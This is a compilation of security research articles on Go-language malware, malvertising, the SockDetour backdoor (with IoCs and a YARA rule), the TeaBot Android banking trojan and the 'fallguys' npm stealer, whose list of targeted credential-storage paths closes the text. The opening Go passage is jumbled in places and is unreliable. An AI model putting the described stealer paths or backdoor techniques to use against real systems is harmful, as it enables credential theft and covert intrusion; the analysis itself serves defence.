Zebrocy. The samples had overlapping code with older Zebrocy samples. Earlier in October, a government ministry of Kazakhstan had been targeted in a spear-phishing attack that was used to deliver a Delphi version of Zebrocy within a Virtual Hard Drive (VHD) image. A few weeks later, the same VHD image was uploaded to VirusTotal from the same country containing a Go version of Zebrocy. One possible scenario is that the initial attempt did not work and the threat actor switched from the Delphi version, which had been used throughout the Fall, to the Go version as they believed it might have been detected by Antivirus software. While the initial Go version of Zebrocy wasn't obfuscated, the later ones have been. Below is a representation of the source code layout for the version used against Kazakhstan. As can be seen in the snippet, most of the function names have been obfuscated. The loader decrypts the file and executes it from memory. The decrypted payload is a version of PlugX, a malware commonly used by Mustang Panda. ### APT29 - WellMess and WellMail WellMess is a malware that was first reported by LAC and JPCERT back in 2018. It was reported that attacks had been observed in Japan and that both samples targeting Windows and Linux machines had been observed. At the time, no attribution of the attacks was given. For nearly two years, WellMess was just a "bot" that was being observed arriving in waves. The attention to WellMess changed in July 2020, when the National Cyber Security Centre (NCSC) in the UK attributed the malware to APT29. As part of the report, NCSC disclosed that the malware had been used, together with a similar malware called WellMail, to target organizations involved in COVID-19 vaccine development. The report did not include any proof or data to support the attribution to APT29, and security vendors had a hard time validating the connection. ## Non-Nation State-Backed Threat Actors ### Loaders/Crypters The binaries produced by the Go compiler are relatively large when compared to binaries produced by other languages. For example, a Hello World binary has over 1700 functions. With so much common code in the binary, it can be like finding a needle in a haystack when looking for suspicious code. This may be one of the reasons why malicious Go binaries sometimes aren't detected by Antivirus engines. This has led to some threat actors developing crypters in Go and using them to deliver other older and well-detected malware. This technique can reduce the detection and even sometimes make the malware fully undetected. Embedding other binaries within a Go binary is relatively easy. There are plenty of open-source libraries that have solved this problem. ### Holy Water/Storm Cloud APT - Target Tibetan Individuals In March 2020, both Kaspersky Labs and Volexity reported on a new threat actor, named Holy Water and Storm Cloud by the vendors, targeting Tibetan individuals via watering hole attacks. The compromised website was serving a drive-by download of a fake Adobe Flash update to highly selective visitors of the website. As part of the investigations of the group’s toolset, two new malware written in Go were uncovered. The first malware is named intelsync and operates as a stager. It obtains persistence and downloads the other Go malware named Godlike12. Godlike12 is a backdoor and has a unique C2 communications channel. It’s controlled via Google Drive. The malware interacts with Google Drive via an open-source library. Commands are added to a drive folder as a file that the malware downloads. The commands from the operator and responses from the backdoor are transmitted as encrypted files that are shared via Google Drive. ### Mustang Panda - Go Loader In November 2020, Proofpoint released a report on the observed activity of Mustang Panda where a new loader written in Go was used to load PlugX. The loader was delivered as part of a self-extracting RAR archive. The archive also included a legitimate application from Adobe. The legitimate application is vulnerable to DLL side-loading, and Mustang Panda uses this vulnerability to side-load the loader. This is a well-known technique that threat actors have used well in the past. The archive also includes another file with its content encrypted. ## Future Predictions While the amount of malware written in Go is relatively small compared to malware written in other languages, the increase on a year-over-year basis is significant. This rate of increase is very likely to continue, meaning malware written in Go will become much more frequent. For malware targeting Linux environments, the fraction written in Go is greater than for malware targeting Windows. This will likely lead to, based on total malware targeting the specific system, the fraction of malware targeting Linux systems will likely become greatest. A big part of the current Linux malware written in Go are bots that are either used for DDoS or installing cryptominers. This trend is likely to continue. Other types may also become more frequent. We have already seen Go ransomware targeting Linux systems, and it is possible that more will emerge with the goal of stealing and encrypting valuable data. This aligns with Proofpoint's prediction for 2021 that ransomware threat actors will start to focus more on attacking the cloud. This means companies should adopt cloud-focused detection and prevention products to ensure their cloud environments are protected. Many traditional Antivirus and endpoint protection solutions have been designed to protect Windows environments while Linux environments have become more of a "second class citizen." According to CrowdStrike's report on incidents from 2020, in 40% of all incidents, the malware was not detected by Antivirus products. In addition to this, Go malware has been hard to detect by Antivirus products, so it’s likely this trend will continue. We have seen threat actors pivot and target different operating systems with the same code base for the malware, resulting in low or undetected malware samples. Since the malware is derived from the same codebase, detection methods that use code genes are very effective. It’s likely we will see more malware targeting multiple operating systems in the future since programming languages like Go provide an easy way for malware authors to cross-compile their malware. On the Windows side, many threat actors have used Go for ransomware. It is likely this trend will continue in the future. With the emergence of more RaaS offerings, it’s not unlikely that the ransomware will be written in Go. With the ability to easily cross-compile, the RaaS operators can offer broader targeting to their "customers." As we have seen an increase of non-nation state-backed threat actors adopting Go into their tooling, we will also start to see more nation state-backed threat actors do the same. This adoption will first be focused on the Windows side with the rise of new loaders and RATs. Once the tooling has become well established in the Windows environment, it will be used in Linux environments too. ## Conclusion Go is an open-source programming language that was developed inside Google to take advantage of advancements done in hardware over the last few decades. It is designed to make it easy for developers to produce fast, safe, network-focused code that takes advantage of today's multicore CPUs. This has resulted in a great adoption of the language, especially in the cloud environment. Developers are not the only ones that have adopted Go. In the last few years, there has been an increase of 2000% of new malware written in Go found in the wild. Many of these malware are botnets targeting Linux and IoT devices to either install crypto miners or enroll the infected machine into DDoS botnets. Also, ransomware has been written in Go and appears to become more common.
# Profiling Hackers Using the Malvertising Attack Matrix by Confiant **What is Malvertising?** A relatively new threat vector, Malvertising is a cyber-attack relying on ad networks and digital ads exposing virtually any internet user surfing the web to the risk of infection. From my experience, if I have to compare with what we know from the cybersecurity world, I would define Malvertising as a mixture of watering holes, exploit kits, web attacks, and drive-by downloads, all combined and run by now identifiable threat groups called Malvertisers. Malvertisers rely heavily on the advertising ecosystem and its complexity to funnel their persistent and complex-to-detect cyber attacks. **Malvertising Kill Chain:** Understanding the ad tech ecosystem is essential due to the nature of this new kill chain and the complexity of the ad tech stack. Before an ad is displayed on a web page, it has to go through a complex ad stack involving DSPs, ad exchanges, and SSPs defined below: - **DSP:** Demand-side platforms are used by buyers, media agencies, or advertisers who have a demand for ad inventory. DSP holds information from the buy-side about criteria they need: targeted audience, maximum bid price, location, etc. - **SSP:** Supply-side platforms are used by sellers, media owners who are supplying ad inventory. They hold a record of the inventory a media owner wants to sell: the different audience segments that visit the media owner site, the minimum price the media owner wants to sell for, etc. - **Ad Exchange:** The piece of technology that auctions off the ad inventory made available by the SSPs. The whole process is that buyers will be entered in if the inventory available matches the criteria in their DSP. The one with the maximum bid price will win the auction. The auction process starts when a user opens a web page with an ad unit on it, and the ad that wins the auction appears at the same time that the rest of the page loads. This whole process is what we call RTB, and all this complex process takes a fraction of a second to execute. Advertisers and publishers are using the technologies above to transact billions of impressions daily. Like any ecosystem that generates billions of impressions, it will be subject to hacking and cyber-attacks. Threat actors infiltrated this ad ecosystem and turned it to their advantage. **Malvertising Kill Chain:** A typical Malvertising Kill Chain is a sequence of the following phases: 1. **Initial Access:** The first step where the Malvertisers enter the advertising ecosystem. Usually, Malvertisers access the ad ecosystem by creating fake agencies for the purpose of establishing relationships with ad buying platforms (DSPs) or by creating fake ad creatives. 2. **Persistence:** The step where Malvertisers persist within the ad ecosystem, ensuring their campaigns can last the longest time possible while evading detection mechanisms. 3. **Cloaking:** A tactic where Malvertisers implement specific fingerprints and techniques that help them define whether or not to cloak a landing page, which is the rendering/reveal of the final landing page. 4. **Delivery:** After several redirect chains, visitors end up on a final page, the landing page. Typically, a landing page is the Malvertisers' final “payload” and comes in different forms and purposes ranging from drive-by downloads, exploit kits, or investment scams, etc. Due to the sophistication of Malvertising cyber attacks and their deceptive nature, we have seen attackers using more tactics, not in a specific order, at different phases of this Kill Chain multiple times. Attackers can have multiple tactics with some/all of them using the tactic. This is another tactic that we added to help enterprises assess the risks of such attacks and understand whether they are of a destructive nature, causing a denial of service, hijacking resources, or causing a financial loss. Therefore, we extended this model from five sequential phases to nine tactics to represent it within a matrix. **Malvertising Attack Matrix:** The Malvertising Attack Matrix is derived from the MITRE ATT&CK Framework representation. Multiple techniques can be employed to accomplish the same tactic, depending on the attacker’s main objective; however, not all nine tactics need to be employed. This representation has the advantage of aggregating the techniques used in previous attacks by documenting techniques, tactics, and tools used. This aggregation is known as behavior profile. Based on the behaviors we identified, the Confiant security team has identified multiple threat actors like Zirconium, eGobbler, FizzCore, ScamClub, DCCBoost, Tag Barnakle, or YoSec along with multiple UNC groups with clusters of activity tied to Malvertising. **Final Notes:** Is Malvertising low risk? Malvertising is interchangeably used with Adware. Many security companies historically have classified Adware as low priority, low risk. This is mainly due to PUA/PUP software that caused little to no harm to infected computers in the past. But the truth is things have changed now, and threat actors see Malvertising as a potential new attack vector and foothold into enterprise networks, which do not really include Malvertising into their threat model. Adware has evolved since, and it is now weaponized with backdoors, along with Malware, helping attackers establish a foothold within enterprise networks. **Our Objective:** The objective of the Malvertising Attack Matrix isn’t just profiling threat actors using different techniques and tactics. It is also a tool helping enterprise security teams take into account Malvertising and hopefully incorporate it into their threat model. This matrix will hopefully provide enough knowledge to understand Malvertising and the risks encountered by enterprises when targeted. Finally, this matrix is a way to communicate actionable threat intelligence to entities that are outside of the ad tech world, and we will extensively use it going forward in our reporting.
# SockDetour – a Silent, Fileless, Socketless Backdoor – Targets U.S. Defense Contractors **By Unit 42** **February 24, 2022** **Category:** Malware **Tags:** APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows ## Executive Summary Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077. The threat actors involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a dozen organizations across the technology, energy, healthcare, education, finance, and defense industries. In conducting further analysis of this campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour. A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed. It is difficult to detect, since it operates filelessly and socketlessly on compromised Windows servers. One of the command and control (C2) infrastructures that the threat actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory dumping tool and several webshells. We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether the activities stem from a single or multiple threat actors. Based on Unit 42’s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on targeting U.S.-based defense contractors using the tools. Unit 42 has evidence of at least four defense contractors being targeted by this campaign, with a compromise of at least one contractor. Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019. We did not find any additional SockDetour samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time. Full visualization of the techniques observed, relevant courses of action, and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer. Palo Alto Networks customers are protected from the threats described in this blog by Cortex XDR and WildFire, and can use AutoFocus for tracking related entities. Additionally, the YARA rule we attached at the end of this blog post can be used to detect SockDetour in memory. **Vulnerabilities Discussed:** CVE-2021-40539, CVE-2021-44077, CVE-2021-28799 **Operating System Affected:** Windows **Related Unit 42 Topics:** TiltedTemple, APT, backdoors ## Background on the TiltedTemple Campaign TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of initial access vectors, to compromise a diverse set of targets globally. Our initial publications on TiltedTemple focused on attacks that occurred through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus. The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance, and defense industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states. We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a single threat actor or several. ## SockDetour Targets US Defense Industry While the TiltedTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was delivered from an external FTP server to a U.S.-based defense contractor’s internet-facing Windows server on July 27, 2021. The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells. After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by the same actor. ## SockDetour Hosted by Compromised Home and SOHO NAS Server The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO) network-attached storage (NAS) server. The NAS server is known to have multiple vulnerabilities, including a remote code execution vulnerability, CVE-2021-28799. This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021. We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server. In fact, the NAS server was already infected with QLocker from the previous ransomware campaigns. ## Analysis of SockDetour SockDetour is a custom backdoor compiled in 64-bit PE file format. It is designed to serve as a backup backdoor in case the primary one is detected and removed. It works on Windows operating systems that are running services with listening TCP ports. It hijacks network connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket. Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to establish a remote C2 channel. This makes the backdoor more difficult to detect from both host and network level. In order for SockDetour to hijack an existing process’s socket, it needs to be injected into the process’s memory. For this reason, the threat actor converted SockDetour into a shellcode using an open-source shellcode generator called Donut framework, then used the PowerSploit memory injector to inject the shellcode into target processes. The samples we found contained hardcoded target processes’ IDs, which means the threat actor manually chose injection target processes from compromised servers. After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the monitoring and instrumentation of API calls on Windows to hijack a network socket. Using the DetourAttach() function, it attaches a hook to the Winsock accept() function. With the hook in place, when new connections are made to the service port and the Winsock accept() API function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour. Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference. With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup backdoor in case the primary backdoor is detected and removed. ## Client Authentication and C2 Communication As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client. SockDetour achieves the verification and authentication of the C2 connection with the following steps: 1. First, expect to receive 137 bytes of data from a client for authentication. The authentication data is as shown in the structure in Table 1. | Fixed header value to disguise TLS traffic | Payload data | Four-byte variable used for client authentication | Data signature for client authentication data block | |---------------------------------------------|--------------|--------------------------------------------------|--------------------------------------------------| | 17 03 03 | AA BB | CC DD EE FF | 128-byte data block | 2. Read the first nine bytes of data. This data is received using the recv() function with the MSG_PEEK option so that it will not interfere with the legitimate service’s traffic by removing data from the socket queue. 3. Verify that the data starts with 17 03 03, which is commonly seen as a record header for TLS transactions when encrypted data is being transferred. However, this is abnormal for normal TLS – a TLS-encrypted transaction would not normally show up without proper TLS handshakes. 4. Check that the size of payload data AA BB is less than or equal to 251. 5. Check that the four bytes of payload CC DD EE FF satisfy the conditions below: - The result is 88 a0 90 82 after bitwise AND with 88 a0 90 82 - The result is fd f5 fb ef after bitwise OR with fd f5 fb ef 6. Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication. 7. Build a 24-byte data block as shown in Table 2. | 10 bytes hardcoded in SockDetour | Four bytes received from the client for authentication | 10 bytes hardcoded in SockDetour | |-----------------------------------|------------------------------------------------------|-----------------------------------| | 08 1c c1 78 d4 13 3a d7 0f ab | CC DD EE FF | b3 a2 b8 ae 63 bb 03 e8 ff 3b | 8. This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature in Table 1, which the threat actor would have created by signing the hash of the same 24-byte data block using the corresponding private key. This completes the client authentication step. After successful authentication, SockDetour takes over the TCP session using the recv() function without the MSG_PEEK option as this session is now verified to be for the backdoor. Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value `bvyiafszmkjsmqgl`, then sends it to the remote client using the following data structure. | Fixed header value to disguise TLS traffic | Payload data size | Session key length | 160-bit session key | Random padding | |---------------------------------------------|-------------------|--------------------|---------------------|----------------| | 17 03 03 | AA BB | CC DD EE FF | session_key | random_padding | In common encryption protocols such as TLS, the session key is encrypted with a public key before transferring. However, in this case, the malware author has seemingly forgotten the step and transfers the key in plain text. Now with the session key shared between SockDetour and the remote client, the C2 connection is made encrypted over the hijacked socket. ## Plugin Loading Feature As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL. After the session key sharing, SockDetour receives four bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage. The size is expected to be smaller or equal to five MB. The final payload data received is encrypted using the shared session key. After decryption, the received data is expected to be in JSON format with two objects `app` and `args`. `app` contains a base 64-encoded DLL, and `args` contains an argument to be passed to the DLL. SockDetour loads this plugin DLL in newly allocated memory space, then calls an export function with the name `ThreadProc` with a function argument in the following JSON structure. ```json { "sock": hijacked_socket, "key": session_key, "args": arguments_received_from_client } ``` While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked socket and encrypts the transaction using the session key. Thus, we surmise it operates as stealthily as SockDetour does. ## Conclusion SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in case the primary one fails. It is filelessly loaded in legitimate service processes and uses legitimate processes’ network sockets to establish its own encrypted C2 channel. While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild since at least July 2019 without any update to the PE file. Plus, we did not find any additional SockDetour samples on public repositories. This suggests that the backdoor successfully stayed under the radar for a long time. The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via SockDetour’s encrypted channel, being loaded filelessly in memory, and communicating via hijacked sockets. As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses. This example serves as a critical reminder to patch this type of server frequently when fixes are released. ## Protections and Mitigations Cortex XDR protects endpoints and accurately identifies the memory injector as malicious. Additionally, Cortex XDR has several detections for lateral movement and credential theft tactics, techniques, and procedures (TTPs) employed by this actor set. WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious. AutoFocus customers can track SockDetour activity via the SockDetour tag. We advise server administrators to keep Windows servers up to date. The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory. Organizations should conduct an incident response investigation if they think they are compromised by SockDetour. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. ## Indicators of Compromise **SockDetour PE** `0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df` **PowerSploit Memory Injectors Delivering SockDetour** `80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540` `bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9` `a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a` `607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b` `11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530` `cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee` `ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889` `3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e` `7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f` `bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b` **Public Key Embedded in SockDetour** ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD+aT -----END PUBLIC KEY----- ``` **YARA Rule for Detecting SockDetour in Memory** ```yara rule apt_win_sockdetour { meta: author = "Unit 42 - PaloAltoNetworks" date = "2022-01-23" description = "Detects SockDetour in memory or in PE format" hash01 = "0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df" strings: $public_key = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD" $json_name_sequence = {61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00} $verification_bytes = {88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF} $data_block = {08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3B} $initial_vector = {62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C} condition: any of them } ```
# New Mobile Malware Family Now Also Targets Belgian Financial Apps While banking trojans have been around for a very long time now, we have never seen a mobile malware family attack the applications of Belgian financial institutions. Until today… Earlier this week, the Italy-based Cleafy published an article about a new Android malware family which they dubbed TeaBot. The sample we will take a look at doesn’t use a lot of obfuscation and only has a limited set of features. What is interesting though, is that TeaBot actually does attack the mobile applications of Belgian financial institutions. This is quite surprising since banking trojans typically use a phishing attack to acquire the credentials of unsuspecting victims. Those credentials would be fairly useless against Belgian financial applications as they all have secure device enrollment and authentication flows which are resilient against a phishing attack. So let’s take a closer look at how these banking trojans work, how they are actually trying to attack Belgian banking apps and what can be done to protect these apps. ## TL;DR - Typical banking malware uses a combination of Android accessibility services and overlay windows to construct an elaborate phishing attack. - Belgian apps are being targeted with basic phishing attacks and keyloggers which should not result in an account takeover. ## Android Overlay Attacks There have been numerous articles written on Android Overlay attacks, including a very recent one from F-Secure labs: “How are we doing with Android’s overlay attacks in 2020?” For those who have never heard of it before, let’s start with a small overview. ### Drawing on Top of Other Apps Through Overlays (SYSTEM_ALERT_WINDOW) The Android OS allows apps to draw on top of other apps after they have obtained the SYSTEM_ALERT_WINDOW permission. There are valid use cases for this, with Facebook Messenger’s chat heads being the typical example. These chat bubbles stay on top of any other application to allow the user to quickly access their conversations without having to go to the Messenger app. Overlays have two interesting properties: whether or not they are transparent, and whether or not they are interactive. If an overlay is transparent you will be able to see whatever is underneath the overlay (either another app or the home screen), and if an overlay is interactive it will register any screen touches, while the app underneath will not. Until very recently, if the app was installed through the Google Play store (instead of through sideloading or third-party app stores), the application automatically received this permission, without even a confirmation dialog for the user! After much abuse by banking malware that was installed through the Play store, Google has now added an additional manual verification step in the approval process for apps on the Google Play store. If the app wants to have the permission without requesting it from the user, the app will need to request special permission from Google. But of course, an app can still manually request this permission from the user, and Android’s information for this permission looks rather innocent: “This may interfere with your use of other apps”. The permission is fairly benign in the hands of the Facebook Messenger app or Twilight, but for mobile malware, the ability to draw on top of other apps is extremely interesting. There are a few ways in which you can use this to attack the user: 1. Create a fake UI on top of a real app that tricks the user into touching specific locations on the screen. Those locations will not be interactive, and will thus propagate the touch to the underlying application. As a result, the user performs actions in the underlying app without realizing it. This is often called Tapjacking. 2. Create interactive fields on top of key fields of the app in order to harvest information such as usernames and passwords. This would require the overlay to track what is being shown in the app, so that it can correctly align its own buttons and text fields. All in all quite some work and not often used to attack the user. 3. Instead of only overlaying specific buttons, the overlay covers the entire app and pretends to be the app. A fully functional app (usually a webview) is shown on top of the targeted app and asks the user for their credentials. This is a full overlay attack. These are just three possibilities, but there are many more. Researchers from Georgia Tech and the UC Santa Barbara have documented different attacks in their paper which also introduces the Cloak and Dagger attacks explained below. ### Accessibility Services Applications on Android can request the accessibility services permission, which allows them to simulate button presses or interact with UI elements outside of their own application. These apps are very useful to people with disabilities who need a bit of extra help to navigate their smartphone. For example, the Google TalkBack application will read out any UI element that is touched on the screen, and requires a double click to actually register as a button press. An alternative application is the Voice Access app which tags every UI element with a number and allows you to select them by using voice commands. Both of these applications can read UI elements and perform touches on the user’s behalf. Just like overlay windows, this can be a very nice feature, or very dangerous if abused. Malware could use accessibility services to create a keylogger which collects the input of a text field any time data is entered, or it could press buttons on your behalf to purchase premium features or subscriptions, or even just click advertisements. ### Cloak and Dagger Cloak and Dagger is best explained through their own video, where they show a combination of overlay attacks and accessibility to install an application that has all permissions enabled. Now, over the past few years, Android has made efforts to hinder these kinds of attacks. For example, on newer versions of Android, it’s not possible to configure accessibility settings in case an overlay is active, or Android automatically disables any overlays when going into the Accessibility settings page. Unfortunately, this only prevents a malware sample from giving itself accessibility permissions through overlays; it still allows malware to use social engineering tactics to trick users into installing them. ### Read SMS Permission Finally, another interesting permission for malware is the RECEIVE_SMS permission, which allows an application to read received SMS messages. While this can definitely be used to invade the user’s privacy, the main reason for malware to acquire this permission is to intercept 2FA tokens which are unfortunately often still sent through SMS. Given the very intrusive nature of the attacks described above, it’s not a stretch to say that your device is fully compromised. If malware can access what you see, monitor what you do and perform actions on your behalf, they’re basically using your device just like you would. However, the malware is still (ab)using legitimate functionality provided by the OS, and that does come with restrictions. For example, even applications with full accessibility permissions aren’t able to access data that is stored inside the application container of another app. This means that private information stored within an app is safe, unless you of course access the data through the app and the accessibility service actively collects everything on the screen. By combining accessibility and overlay windows, it is actually much easier to social engineer the victim and get their credentials or card information. And this is exactly what Banking Trojans often do. Instead of attacking an application and trying to steal their authentication tokens or modify their behavior, they simply ask the user for all the information that’s required to either authenticate to a financial website or enroll a new device with the user’s credentials. ## How to Protect Your App ### Protecting Against Overlays Protecting your application against a full overlay is, well, impossible. Some research has already been performed on this and one of the suggestions is to add a visual indicator on the device itself that can inform the user about an overlay attack taking place. What remains is trying to detect an attack and informing your backend. Instead of directly blocking an account, the information could be taken into account when performing risk analysis on a new sign-up or transaction. ### Protecting Against Accessibility Attacks Unfortunately, it’s not much better than the section. There are many different settings you can set on views, components and text fields, but all of them are designed to help you improve the accessibility of your application. But let’s for a moment assume that we don’t care about legitimate accessibility. How can we make the app as secure as possible to prevent malware from logging our activities? - We could set the android:importantForAccessibility attribute of a view component to ‘no’ or ‘noHideDescendants’. This won’t work however, since the accessibility service can just ignore this property and still read everything inside the view component. - We could set all the android:contentDescription attributes to “@null”. This will effectively remove all the meta information from the application and will make it much more difficult to track a user. However, any text that’s on screen can still be captured, so the label of a button will still give information about its purpose, even if there is no content description. - We could change every input text to a password field. Password fields are masked and their content isn’t accessible in clear-text format. Depending on the user’s settings, this won’t work either. - Enable FLAG_SECURE on the view. This will prevent screenshots of the view, but it doesn’t impact accessibility services. ## About Passwords By default, Android shows the last entered character in a password field. This is useful for the user as they are able to see if they mistyped something. However, whenever this preview is shown, the value is also accessible to the accessibility services. It is possible for users to disable this feature by going to Settings > Privacy > Show Passwords, but this setting cannot be manipulated from inside an application. ## Detecting Accessibility Services If we can’t protect our own application, can we maybe detect an attack? Here is where there’s finally some good news. It is possible to retrieve all the accessibility services running on the device, including their capabilities. This can be done through the AccessibilityManager.getEnabledAccessibilityServiceList. This information could be used to identify suspicious services running on the device. This would require building a dataset of known-good services to compare against. ## Can’t Google Fix This? For a large part, dealing with these overlay attacks is Google’s responsibility, and over the last few versions, they have made multiple changes to make it more difficult to use the SYSTEM_ALERT_WINDOW (SAW) overlay permission: - Android Q (Go Edition) doesn’t support the SAW. - Sideloaded apps on Android P lose the SAW permission upon reboot. - Android O has marked the SAW permission deprecated, though Android 11 has removed the deprecated status. - Play Store apps on Android Q lose the permission on reboot. - Android O shows a notification for apps that are performing overlays, but also allows you to disable the notifications through settings. Almost all of these updates are mitigations and don’t fix the actual problem. Only the removal of SAW in Android Q (Go Edition) is a real way to stop overlay attacks, and it may hopefully one day make it into the standard Android version as well. ## TeaBot – Attacking Belgian Apps What was surprising about Cleafy’s original report is the targeting of Belgian applications which so far had been spared of similar attacks. This is also a bit surprising since Belgian financial apps all make use of strong authentication (card readers, ItsMe, etc.) and are thus pretty hard to successfully phish. Once the TeaBot malware is installed, it shows a small animation to the user how to enable accessibility options. It doesn’t provide a specific explanation for the accessibility service, and it doesn’t pretend to be a Google or System service. However, if you wait too long to activate the accessibility service, the device will regularly start vibrating, which is extremely annoying and will surely convince many victims to enable the services. The malware sample has the following functionality related to attacking financial applications: - Take a screenshot. - Perform overlay attacks on specific apps. - Enable keyloggers for specific apps. Just like the FluBot sample from our last blog post, the application collects all of the installed applications and then sends them to the C2 which returns a list of the applications that should be attacked. In order to identify the applications that are attacked, we can supply a list of banking applications which will return more interesting data. Based on this list, 14 Belgian applications are being attacked through the keylogger module. Since all these applications have a strong device onboarding and authentication flow, the impact of the collected information should be limited. However, if the applications don’t detect the active keylogger, the malware could still collect any information entered by the user into the app. In this regard, the impact is the same as when someone installs a malicious keyboard that logs all the entered information. ## Conclusion It’s very interesting to see how TeaBot attacks the Belgian financial applications. While they don’t attempt to social engineer a user into a full device onboarding, the malware developers are finally identifying Belgium as an interesting target. From a development point of view, there’s not much we can do. The Android OS provides the functionality that is abused and it’s difficult to take that functionality away again. Collecting as much information about the device as possible can help in making correct assessments on the risk of certain transactions, but there’s no silver bullet. --- **Jeroen Beckers** Jeroen Beckers is a mobile security expert working in the NVISO Software and Security assessment team. He is a SANS instructor and SANS lead author of the SEC575 course. Jeroen is also a co-author of OWASP Mobile Security Testing Guide (MSTG) and the OWASP Mobile Application Security Verification Standard (MASVS). He loves to both program and reverse engineer stuff.
# Inside the “fallguys” Malware that Steals Your Browsing Data and Gaming IMs This weekend a report emerged of mysterious npm malware stealing sensitive information from Discord apps and web browsers installed on a user’s machine. The malicious component called “fallguys” lived on npm downloads impersonating an API for the widely popular video game, Fall Guys: Ultimate Knockout. Its actual purpose, however, was rather sinister. As first reported by ZDNet and analyzed by the npm security team, the component when included in your development builds would run alongside your program and access the following files: 1. /AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb 2. /AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb 3. /AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb 4. /AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb 5. /AppData/Roaming/discord/Local Storage/leveldb The file list comprises the local storage leveldb files of different web browsers, such as Chrome, Opera, Yandex, and Brave, along with any locally installed Discord apps. LevelDB is a key-value storage format mainly used by web browsers to store data especially that relates to a user’s web browsing sessions. The “fallguys” component would pry on these files and upload them to a third-party Discord server, e.g., via webhooks. ## A Peek Inside npm “fallguys” Npm removed the 